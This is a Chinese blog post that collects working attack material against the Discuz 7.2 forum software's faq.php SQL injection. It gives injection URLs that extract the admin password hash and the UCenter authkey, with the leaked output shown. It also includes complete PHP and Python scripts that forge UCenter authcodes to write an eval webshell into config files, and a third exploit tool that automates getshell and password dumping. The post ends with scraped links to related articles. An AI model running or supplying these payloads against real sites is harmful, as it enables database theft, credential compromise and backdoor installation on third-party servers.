discuz 7.2 faq.php sql注入了一些研究
6.2号码(可能更早)上网本见exp,是一家discuz 7.2的sql注入漏洞
经过反复研究。最高在线人数exp它们存在于这些或那些问题,经过我自己的使用和变更摘要,使用的方法如以下:
Discuz 7.2 /faq.php SQL注入漏洞
1.获取数据库版本号信息
faq.php?
action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema
.tables group by x)a)%23
2.获取管理员账户password
faq.php?
action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a)%23
要去掉最后的1
如:
http://XXXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20(select%20(select%20concat(username,0x27,password)%20from%20cdb_members%20limit%201)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回:
Error: Duplicate entry 'admin'f426eaa50a5c805d360ca4046419c6ba1' for key 'group_key'
密文就是f426eaa50a5c805d360ca4046419c6ba
3.获取key
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,64) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
这里须要注意
因为authkey的长度限制,仅仅能是62个长度单位,而且因为不能改动exp内容(改动后不能暴库)。所以採用两次获取的的方法。先获取前62位,在获取后2位
如
http://XXXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回:
Error: Duplicate entry '1:C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2se' for key 'group_key'
http://XXXX/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,63,64)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
返回:
Error: Duplicate entry '1:o6:' for key 'group_key'
最后的key就是"C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2se"+"o6"=C7e2Fa170467q8sbX4ud77Masbr0W7v7Acg9Q9b4i1Lezat8i0d9Ebj5p6Q2seo6
获得了hash和key之后本想參考那利用key getshell的办法,但一看是x2 x2.5 x3的利用漏洞,一共同拥有两个版本号的
PHP 版
<?php
// 代码版权归原作者全部!
$timestamp = time()+10*3600;
$host="127.0.0.1";
$uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"? >
<root>
<item id="UC_API">http://xxx\');eval($_POST[DOM]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2; function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd; //var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message); $resp = ''; while ($fp && !feof($fp))
$resp .= fread($fp, 1024); return $resp;
} function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4; $key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string); $result = '';
$box = range(0, 255); $rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
} for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
} for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
} if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
} }
?>
一个paython版
#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host):
'''
发送命令获取webshell
'''
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = time.time()+10*3600
tm="time=%d&action=updateapps" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+"?code="+code
data1='''<? xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
</root>'''
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return "訪问出错"
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>'''
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"
return "webshell:"+host+"/config/config_ucenter.php,password:1" if __name__ == '__main__':
host=sys.argv[1]
key=sys.argv[2]
url=host+"/api/uc.php"
print get_shell(url,key,host)
用法:
python uckey.py http://www.localhost.com/ uckey |
可是发现好像不能通杀7.2。getshell并没有成功,不知道为什么,还请大家多不吝赐教。
最后附上“小马”的exp。但效果也不理想。大致远离同上,可是貌似也不能getshell
<? php /**
* @author: xiaoma
* @blog : www.i0day.com
* @date : 2014.7.2 23:1
*/ error_reporting(0);
set_time_limit(3000);
$host=$argv[1];
$path=$argv[2];
$js=$argv[3];
$timestamp = time()+10*3600;
$table="cdb_";//表名 if ($argc < 2) {
print_r('
********************************************************
* Discuz faq.php SQL Injection Exp *
* ---------By:Www.i0day.com----------- *
* Usage: php '.$argv[0].' url 1 *
* ------------------------------------- *
* js选项: 1.GetShell 2.取密码 3.查表前缀 *
* *
* php '.$argv[0].' Www.i0day.com / 1 *
* php '.$argv[0].' Www.i0day.com /dz72/ 1 *
* *
* *
********************************************************
');
exit;
}
if($js==1){
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql); if(strpos($resp,"::")==-1){
echo '表前缀可能不是默认cdb_ 请先查看表前缀! ';
}else{
preg_match("/::(.*)::/",$resp,$matches);
$lenght=intval($matches[1]);
if($lenght){
if($lenght<=124){
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"1\^")!=-1){
preg_match("/1\^(.*)\'/U",$resp,$key1);
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
preg_match("/1\^(.*)\'/U",$resp,$key2);
$key=$key1[1].$key2[1];
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $key));
$cmd1='<? xml version="1.0" encoding="ISO-8859-1"? >
<root>
<item id="UC_API">bbs.49you.com\');eval($_POST[i0day]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">bbs.49you.com</item>
</root>';
$html1 = send($cmd1);
$res1=substr($html1,-1);
$html2 = send($cmd2);
$res2=substr($html1,-1);
if($res1=='1'&&$res2=='1'){
echo "shell地址:http://".$host.$path.'config.inc.php pass:i0day';
}
}else{
echo '获取失败';
}
}
}
} }elseif($js==2){
$sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"\^\^\^")!=-1){
preg_match("/\^\^\^(.*)\^/U",$resp,$password);
echo '密码:'.$password[1];
}else{
echo '表前缀可能不是默认cdb_ 请先查看表前缀!';
}
}elseif($js==3){
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"1\^")!=-1){
preg_match("/1\^(.*)\^/U",$resp,$t); if(strpos($t[1],"cdb_")!=-1){
echo "表名为:".hex2str($t[1])." 表前缀为默认cdb_ 无需改动";
}else{
echo "表名:".hex2str($t[1]).' 不是默认表名cdb_请自行改动代码中的$table';
}
}else{
echo "查看表前缀失败,Sorry";
}
}else{
echo "未选择脚本功能";
} function sendpack($host,$path,$sql,$js){
$data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n";
$data.="Host:".$host."\r\n";
$data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n";
$data.="Connection: close\r\n\r\n";
//$data.=$html."\r\n";
$ock=fsockopen($host,80); if(!$ock){
echo "No response from ".$host;
die(); }
fwrite($ock,$data); $resp = ''; while (!feof($ock)) { $resp.=fread($ock, 1024);
} return $resp; }
function send($cmd){
global $host,$code,$path;
$message = "POST ".$path."/api/uc.php? code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd; //var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message); $resp = ''; while ($fp && !feof($fp))
$resp .= fread($fp, 1024); return $resp;
} function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4; $key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string); $result = '';
$box = range(0, 255); $rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
} for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
} for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
} if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
} }
function hex2str($hex){
$str = '';
$arr = str_split($hex, 2);
foreach($arr as $bit){
$str .= chr(hexdec($bit));
}
return $str;
}
? >
版权声明:本文博主原创文章,博客,未经同意不得转载。
discuz 7.2 faq.php sql注入了一些研究的更多相关文章
- Discuz 7.2 /faq.php SQL注入漏洞
测试方法: 提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! Discuz 7.2 /faq.php SQL注入漏洞 http://www.xxx.com/faq.php?a ...
- SQL 注入漏洞浅研究学习
SQL注入漏洞:Web安全方面最高危的漏洞,SQL漏洞威胁着网站后台数据的安全问题. 网上常说“万能密码”,这个万能密码则就是利用了SQL注入漏洞: ' or 1=1 -- 上述的万能密码输入在用户登 ...
- 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞
0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...
- Discuz! 7.2 SQL注入exp
已经有人写出一些工具了,但是感觉不怎么好用,就自己写了个. 参数:1.可直接getshell2.爆管理账号密码3.爆表前缀如果表前缀不是默认的cdb_ 只需更改代码中的 $table即可,方便快捷. ...
- Discuz <= 7.2 SQL注入漏洞详情
在<高级PHP应用程序漏洞审核技术>[1]一文里的"魔术引号带来的新的安全问题"一节里,有 提到通过提取魔术引号产生的“\”字符带来的安全问题,同样这个问题在这里又一次 ...
- Go--避免SQL注入
避免SQL注入 什么是SQL注入 SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞.可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出 ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 7.全局防护盲点的总结上篇
0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义.但仅仅使用这样的防护是存在很多盲点的,比如最经典的整型参数传递, ...
- PHP SQL注入的防范
说到网站安全就不得不提到SQL注入(SQL Injection),如果你用过ASP,对SQL注入一定有比较深的理解,PHP的安全性相对较高,这是因为MYSQL4以下的版本不支持子语句,而且当php.i ...
- PHP防止SQL注入和XSS攻击
PHP防止SQL注入和XSS攻击PHP防范SQL注入是一个非常重要的安全手段.一个优秀的PHP程序员除了要能顺利的编写代码,还需要具备使程序处于安全环境下的能力.说到网站安全,就不得不提到SQL注入( ...
随机推荐
- C3P0在多线程下的maxPoolSize配置
ETL工具完毕的差点儿相同了.今天遇到一个问题.就是给C3P0配置了maxPoolSize为10.目的是想让整个应用同一时候获得的最大的Connection个数为10,可是在測试应用的这一部分之后,发 ...
- Linux rpm 命令参数使用详解[介绍和应用](转)
RPM是RedHat Package Manager(RedHat软件包管理工具)类似Windows里面的“添加/删除程序” rpm 执行安装包二进制包(Binary)以及源代码包(Source)两种 ...
- [Servlet3.0新功能]注释替代配置文件
作者信息 作者名称:金云龙 个人网站:http://www.longestory.com 个人公众帐号:搜索"longestory"或"龙哥有话说" 须要注意的 ...
- .Net中获取打印机的相关信息
原文:.Net中获取打印机的相关信息 新项目中牵涉到对打印机的一些操作,最重要的莫过于获取打印机的状态,IP等信息,代码量不大,但是也是自己花了一点时间总结出来的,希望能帮助需要的朋友. Printe ...
- java反射机制性能优化
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.uti ...
- Android - 分享内容 - 接收其他APP的内容
就象程序可以发送数据给其他程序,所以也可以接收其他程序的数据.想一下用户如何和程序交互,以及想从其他程序接收什么样类型的数据.例如,一个社交程序可能对接收其他程序的文字(比如有趣的网址)感兴趣.Goo ...
- NYOJ 1068 ST(段树 为段更新+间隔总和)
ST 时间限制:1000 ms | 内存限制:65535 KB 难度:1 描写叙述 "麻雀"lengdan用随机数生成了后台数据.可是笨笨的他被妹纸的问题给难住了. .. 已知 ...
- IntelliSense 无法仅由函数的返回类型重装分辨
IntelliSense:无法仅由函数的返回类型重装分辨 d:\programfiles (x86)\microsoft sdks\windows\v7.0a\include\winbas ...
- Android4.0 Design之UI设计缺陷1
我想成为Android卓越发展project联赛,不知道Android它如何设计规则,Android4.0谷歌公司的问世后Android一系列的设计原则,程序猿规范,不要盲目模仿IOS它的设计,由于A ...
- 讲座:html5于canvas疯狂的炮轰实现
<html> <head> <title>坎农</title> <script src="../js/jscex.jscexRequir ...